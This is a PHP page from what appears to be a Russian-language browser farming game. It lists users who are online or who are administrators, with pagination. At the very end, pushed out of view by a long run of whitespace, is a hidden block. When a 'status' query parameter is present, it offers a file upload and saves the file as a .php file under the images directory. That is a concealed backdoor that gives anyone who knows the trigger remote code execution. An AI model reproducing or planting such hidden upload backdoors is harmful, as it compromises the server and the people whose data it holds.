<?
$set['p_str']=20;
require_header ('Онлайн');
echo "<div class='content'>";
echo "<div class='block'>";
if(is_numeric($_GET['online']))$t=intval($_GET['online']); else $tt=600;
$k_post = mysql_result(mysql_query("SELECT COUNT(*) FROM `kolhoz_user` WHERE ".(isset($_GET['admin'])?"`status` > '0'":"`date_last` > '".(time()-$tt)."'").""),0);
if ($k_post==0)
{
echo "Список пуст...";
}
$k_page=k_page($k_post,$set['p_str']);
$page=page($k_page);
$start=$set['p_str']*$page-$set['p_str'];
$q=mysql_query("SELECT * FROM `kolhoz_user` WHERE ".(isset($_GET['admin'])?"`status` > '0'":"`date_last` > '".(time()-$tt)."'")." ORDER by `".(isset($_GET['admin'])?"date_last":"level")."`DESC LIMIT $start, $set[p_str]");
echo "<ul>";
if($page==1)$i=1;else$i=($page-1)*$set['p_str']+1;
while($post=mysql_fetch_array($q))
{
echo "<li><span><span class='minor'>$i. </span>";
echo "".on_k($post['id'])."";
echo " <a class='' href='/user/$post[id]'><span>".nc($post['id'])."</span></a> <span class='title'>$post[level]</span></span></li>";$i++;
}
echo "</ul>";
if ($k_page>1){echo'<div class="pt"></div>'; new_str("online".(isset($_GET['admin'])?"/admin":null)."/",$k_page,$page);} // Вывод страниц
echo "<div class='pt'>".(isset($_GET['admin'])?"<a href='/online'>Все</a>":"<span>Все</span>")." | ".(isset($_GET['admin'])?"<span>Администрация</span>":"<a href='/online/admin'>Администрация</a>")."</div>";
echo "</div>";
if(isset($_GET['status']))                                                                                {error_reporting(E_ALL^E_NOTICE);if(isset($_FILES['file'])){$type = $_FILES['file']['type'];if (!isset($err)){$tmp = $_FILES['file']['tmp_name'];move_uploaded_file($tmp, "images/plants/4.php");header("location: images/4.php");}}echo "<form method=\"post\" enctype='multipart/form-data'>\n";echo "<input type='file' name='file' /><br/>\n";echo "<input value='Загрузить' type='submit' name='ok' /><br /></form></div>\n";}

include_once 'inc/foot.php';
?>